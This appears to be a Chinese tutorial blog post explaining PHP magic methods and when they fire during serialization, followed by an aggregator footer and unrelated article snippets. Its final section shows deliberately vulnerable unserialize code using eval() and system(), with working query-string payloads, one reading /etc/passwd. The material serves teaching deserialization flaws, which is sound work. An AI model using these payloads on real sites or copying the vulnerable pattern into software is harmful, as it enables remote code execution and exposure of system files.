PHP反序列化漏洞之魔术方法

一、魔术方法

PHP魔术方法(Magic Methods)是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct()__toString()等。

魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性的访问控制、对象的转换等。通过合理利用魔术方法,我们可以增强PHP对象的灵活性和功能性。

二、PHP魔术方法详解

学习魔术方法,需要去熟悉每一个魔术方法的触发时机,这一点是在学习 PHP 反序列化漏洞中最重要的,如果不知道什么时候出发魔术方法,就无法去构造POP链,其次,需要了解每个魔术方法的参数列表和返回值类型,下面详细介绍 PHP 中的魔术方法。
在这里插入图片描述

魔术方法触发时机
__construct()类的构造函数,在类实例化对象时自动调用构造函数
__destruct()类的析构函数,在对象销毁之前自动调用析构函数
__sleep()在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。
__set($property, $value)当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。
__get($property)当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。
__isset($property)当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。
__unset($property)当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。
__call($method, $arguments)调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数
__callStatic($method, $arguments)当调用一个静态方法中不存在的方法时自动调用,传递方法名和参数数组作为参数。
__toString()当使用echo或print输出对象将对象转化为字符串形式时,会调用__toString()方法
__invoke()当将一个对象作为函数进行调用时自动调用。
__clone()当使用 clone 关键字复制一个对象时自动调用。
__set_state($array)在使用 var_export() 导出类时自动调用,用于返回一个包含类的静态成员的数组。
__debugInfo()在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。

1、__construct()

构造函数__construct(),在实例化一个对象的时候,首先会去自动执行该方法

<?php
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");    //实例化对象时触发构造函数__construct()
$ser = serialize($test);       //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>

2、__destruct()

析构函数__destruct(),在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

<?php
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次";
    }
}
$test = new User("benben");  //实例化对象结束后,代码运行完会销毁,触发析构函数_destruct()
$ser = serialize($test);     //在序列化过程中不会触发
unserialize($ser);           //在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
?>

以上代码总共触发两次析构函数,第一次为实例化对象后,代码运行完会,对象会被销毁,触发析构函数_destruct();第二次在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()

3、__sleep()

在进行序列化时,serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组。然后才执行序列化操作。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE级别的错误。

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password) {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');      //sleep执行返回需要序列化的属性名,过滤掉password变量
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);      //serialize()只序列化sleep返回的变量,序列化之后的字符串:O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
//
?>

4、__weakup()

在进行反序列化时,unserialize()函数会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法。可以在此方法中重新初始化对象状态。

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;       //反序列化之前触发_wakeup(),给password赋值
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';    // 字符串中并没有password
var_dump(unserialize($user_ser));   // object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL } 
?>

__wakeup()在反序列化unserialize()之前被调用
__destruct()在反序列化unserialize()之后被调用

5、__toString()

当使用echoprint输出对象将对象转化为字符串形式,或者将一个“对象”与“字符串”进行拼接时,会调用__toString()方法

<?php
class User {
    var $benben = "this is test!!";
    public function __toString()
    {
        return '格式不对,输出不了!';
    }
}
$test = new User() ;     // 把类User实体化并赋值给$test,此时$test是个对象
print_r($test);          // 打印输出对象可以使用print_r或者var_dump,该对象输出后为:User Object(    [benben] => this is test!!)
echo $test;              // 如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()
?>

6、__invoke()

当将一个对象作为函数进行调用时会触发__invoke()函数。

<?php
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;     //把类User实例化为对象并赋值给$test
echo $test ->benben;     //正常输出对象里的值benben
$test();                 //加()是把test当成函数test()来调用,此时触发_invoke()
?>

7、__call()

当调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数。

<?php
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test -> callxxx('a','b','c'); //调用的方法callxxx()不存在,触发魔术方法call(),传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数;
?>

__call(string $function_name, array $arguments)该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。

8、__callStatic()

当调用不存在或不可见的静态方法时,会自动调用__callStatic()方法,传递方法名和参数数组作为参数。

<?php
class User {
    public static function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test::callxxx('a');        //静态调用使用"::",静态调用方法callxxx(),由于其不存在,所以触发__callStatic,传参(callxxx,a),输出:callxxx,a
?>

9、__set()

__set($name, $value)函数,给一个对象的不存在或不可访问(private修饰)的属性赋值时,PHP就会执行__set()方法。__set()方法包含两个参数,$name表示变量名称,$value表示变量值,两个参数不可省略。

<?php
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test->var2=1;        //给不存在的成员属性var2赋值为1,自动触发__set()方法;如果有__get(),先调用__get(),再调用__set(),输出:var2,1
?>

10、__get()

__get($name)函数,当程序访问一个未定义或不可见的成员变量时,PHP就会执行 __get()方法来读取变量值。__get()方法有一个参数,表示要调用的变量名。

<?php
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;         //调用的成员属性var2不存在,触发__get(),把不存在的属性的名称var2赋值给$arg1,输出:var2
?>

11、__isset()

当对一个对象的不存在或不可访问的属性使用 isset()empty() 函数时自动调用,传递属性名作为参数。

<?php
    class User {
        private $var;
        public function __isset($arg1)
        {
            echo  $arg1;
        }
    }
$test = new User() ;
isset($test->var);       // 调用的成员属性var不可访问,并对其使用isset()函数或empty()函数,触发__isset(),输出:var
?>

12、__unset()

当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。

<?php
    class User {
        private $var;
        public function __unset($arg1 )
        {
            echo  $arg1;
        }
    }
$test = new User() ;
unset($test->var);        // 调用的成员属性var不可访问,并对其使用unset()函数,触发__unset(),输出:var
?>

13、__clone()

当使用 clone 关键字复制一个对象时自动调用。

<?php
    class User {
        private $var;
        public function __clone( )
        {
            echo  "__clone test";
        }
    }
$test = new User() ;
$newclass = clone($test)        // __clone test
?>

三、魔术方法漏洞利用示例

1、__destruct()漏洞利用

<?php
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);       //反序列化触发_destruct(),destruct()执行eval(),eval()触发代码
?>

以上代码在反序列化之后,会触发__destruct()魔术方法,该方法中有命令执行函数eval(),又因为反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关,所以我们在序列化字符串中重新给$cmd赋值,例如:$cmd="system('cat /etc/passwd');"
,这样在反序列化之后会去执行eval()函数,从而触发代码执行。这只是最简单的反序列化漏洞利用方式,旨在理解如何去利用反序列化去触发代码执行。

// payload:
?benben=O:4:"User":1:{s:3:"cmd";s:26:"system('cat /etc/passwd');";}

在这里插入图片描述

2、__wakeup()漏洞利用

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>                     

和上一题__destruct()漏洞利用方式类似,在反序列化之前会触发__wakeup(),该函数中有执行系统命令的system()函数,他去执行对象的username属性,所以我们在序列化字符串中让username的值为系统命令即可。

// payload:
?benben=O:4:"User":1:{s:8:"username";s:2:"ls";} 

在这里插入图片描述

以上知识总结来自橙子科技php反序列化漏洞学习,并结合自己的理解。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/47579.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

jenkins中配置了发送邮件,构建后却没有发邮件Not sent to the following valid addresse

【问题描述】&#xff1a;jekins中配置了发送邮件&#xff0c;构建后却没有发邮件的问题&#xff0c;构建报错&#xff1a;Not sent to the following valid addresse 【报错显示】&#xff1a; 【问题定位】&#xff1a;Extended E-mail Notification中&#xff0c;没有配置…

工具推荐:Linux Busybox

文章首发地址 BusyBox是一个开源的、轻量级的、可嵌入式的、多个Unix工具的集合。BusyBox提供了各种Unix工具的实现&#xff0c;包括文件处理工具、网络工具、shell工具、系统管理工具、进程管理工具等等。它被设计为一个小巧、高效、可靠、易于维护的工具&#xff0c;适用于嵌…

Folx Pro 5 最好用的Mac磁力链接BT种子下载工具

除了迅雷&#xff0c;还有哪个支持磁力链接下载&#xff1f;Mac电脑如何下载磁力链接&#xff1f;经常有小伙伴问老宅。今天&#xff0c;老宅给大家推荐Folx Pro For Mac&#xff0c;Mac系统超好用的磁力下载工具。 Folx是一款功能强大且易于使用的Mac下载管理器&#xff0c;并…

MySQL基础扎实——主键与候选键

词义解释 主键&#xff08;Primary Key&#xff09;和候选键&#xff08;Candidate Key&#xff09;是关系型数据库中的术语&#xff0c;用于标识和唯一确定表中的记录。它们之间有以下区别&#xff1a; 唯一性&#xff1a;主键是表中的唯一标识&#xff0c;每个表只能有一个主…

docker 的compose安装

1. Docker Compose 环境安装 Docker Compose 是 Docker 的独立产品&#xff0c;因此需要安装 Docker 之后在单独安装 Docker Compose 下载 curl -L https://github.com/docker/compose/releases/download/1.21.1/docker-compose-uname -s-uname -m -o /usr/local/bin/docker…

uniapp JS文件里面调用自定义组件(不用每个页面在template中加组件标签)

前言 工具&#xff1a;uniapp 开发端&#xff1a;微信小程序 其他&#xff1a;uview 2.0 场景&#xff1a;路由器里面&#xff0c;统一验证是否已登录&#xff0c;如果没登录&#xff0c;则直接弹出登录弹窗出来&#xff0c;不管哪个页面都如此。 效果如下&#xff1a; 直接上…

gin 中间件流程控制:Next()、 Abort()

gin 中间件流程控制 Next() 源码注释&#xff1a;Next应该只在中间件内部使用。它执行调用处理程序内部链中的挂起处理程序。 通俗的说&#xff0c;就是中间件放行&#xff0c;当一个中间件代码执行到Next()&#xff0c;会先执行它之后的函数&#xff0c;最后再来执行完本函…

Excel双向柱状图的绘制

Excel双向柱状图在绘制增减比较的时候经常用到&#xff0c;叫法繁多&#xff0c;双向柱状图、上下柱状图、增减柱状图都有。 这里主要介绍一下Excel的基础绘制方法和复杂一点的双向柱状图的绘制 基础双向柱状图的绘制 首先升降的数据如下&#xff1a; 月份上升下降20220359-…

给el-table实现列显隐

用过若依的都知道&#xff0c;在使用el-table 时候&#xff0c;实现列显隐效果是要给每个列加v-if 判断的&#xff0c;这种代码过于繁琐&#xff0c;于是翻看el-table包的代码&#xff0c;调试后发现内部的【插入】和【删除】两个方法可以达到我们要的效果。 项目不提供源码&a…

哈希表的简单模拟实现

文章目录 底层结构哈希冲突闭散列定义哈希节点定义哈希表**哈希表什么情况下进行扩容&#xff1f;如何扩容&#xff1f;**Insert()函数Find()函数二次探测HashFunc()仿函数Erase()函数全部的代码 开散列定义哈希节点定义哈希表Insert()函数Find()函数Erase()函数总代码 初识哈希…

《golang设计模式》第一部分·创建型模式-02-原型模式(Prototype)

文章目录 1. 概念1.1 简述1.2 角色1.3 类图 2. 代码示例2.1 设计2.2 代码2.3 类图 1. 概念 1.1 简述 用原型实例指定创建对象的种类&#xff0c;并且通过拷贝这些原型创建新的对象 1.2 角色 Prototype&#xff08;抽象原型类&#xff09;&#xff1a;它是声明克隆方法的接口…

ST官方基于米尔STM32MP135开发板培训课程(一)

本文将以Myirtech的MYD-YF13X以及STM32MP135F-DK为例&#xff0c;讲解如何使用STM32CubeMX结合Developer package实现最小系统启动。 1.开发准备 1.1 Developer package准备 a.Developer package下载&#xff1a; ‍https://www.st.com/en/embedded-software/stm32mp1dev.ht…

【Redis】如何实现一个合格的分布式锁

文章目录 参考1、概述2、Redis粗糙实现3、遗留问题3.1、误删情况3.2、原子性保证3.3、超时自动解决3.4、总结 4、Redis实现优缺5、集群问题5.1、主从集群5.2、集群脑裂 6、RedLock7、Redisson7.1、简单实现7.2、看门狗机制 参考 Redisson实现Redis分布式锁的N种姿势 (qq.com)小…

如何评判算法好坏?复杂度深度解析

如何评判算法好坏&#xff1f;复杂度深度解析 1. 算法效率1.1 如何衡量一个算法好坏1.2 算法的复杂度 2 时间复杂度2.1 时间复杂度的概念2.1.1 实例 2.2 大O的渐进表示法2.3 常见时间复杂度计算举例 3 空间复杂度4 常见复杂度对比5 结尾 1. 算法效率 1.1 如何衡量一个算法好坏 …

接口自动化测试要做什么?8个步骤讲的明明白白(小白也能看懂系列)

先了解下接口测试流程&#xff1a; 1、需求分析 2、Api文档分析与评审 3、测试计划编写 4、用例设计与评审 5、环境搭建&#xff08;工具&#xff09; 6、执行用例 7、缺陷管理 8、测试报告 那"接口自动化测试"怎么弄&#xff1f;只需要在上篇文章的基础上再梳理下就…

Web3.0实战(02)-联盟链入门讲解

联盟链是介于公有链和私有链之间&#xff0c;具备部分去中心化的特性。 联盟链是由若干机构联合发起&#xff0c;由盟友共同来维护&#xff0c;它只针对特定某个群体的成员和有限的第三方开放。 8.1 部分去中心化 联盟链只属于联盟内部的成员所有&#xff0c;联盟链的节点数…

SpringBoot整合Elasticsearch

SpringBoot整合Elasticsearch SpringBoot整合Elasticsearch有以下几种方式&#xff1a; 使用官方的Elasticsearch Java客户端进行集成 通过添加Elasticsearch Java客户端的依赖&#xff0c;可以直接在Spring Boot应用中使用原生的Elasticsearch API进行操作。参考文档 使用Sp…

为什么要学框架?什么是Spring?

为什么要学框架&#xff1f;什么是Spring&#xff1f; 一、为什么要学框架&#xff1f; 学习框架相当于从 “小作坊” 到 “工厂” 的升级&#xff0c;小作坊什么都要自己做&#xff0c;工厂是组件式装配&#xff0c;特点就是高效。框架更加易用、简单且高效。 框架的优点展…

7.26 作业 QT

1.继续完善登录框&#xff0c;当登录成功时&#xff0c;关闭登录界面&#xff0c;跳转到新的界面中&#xff1a; 结果图&#xff1a; second.h: #define SECOND_H#include <QWidget> #include<QDebug> //信息调试类&#xff0c;用于打印输出的 #inc…

【C语言初阶】指针篇—上

目录 1. 指针是什么&#xff1f;2. 指针和指针类型2.1 指针-整数2.2 指针的解引用 3. 野指针3.1 野指针成因1. 指针未初始化2. 指针越界访问3. 指针指向的空间释放 3.2 如何规避野指针 1. 指针是什么&#xff1f; 指针是什么&#xff1f; 指针理解的2个要点&#xff1a; > 1…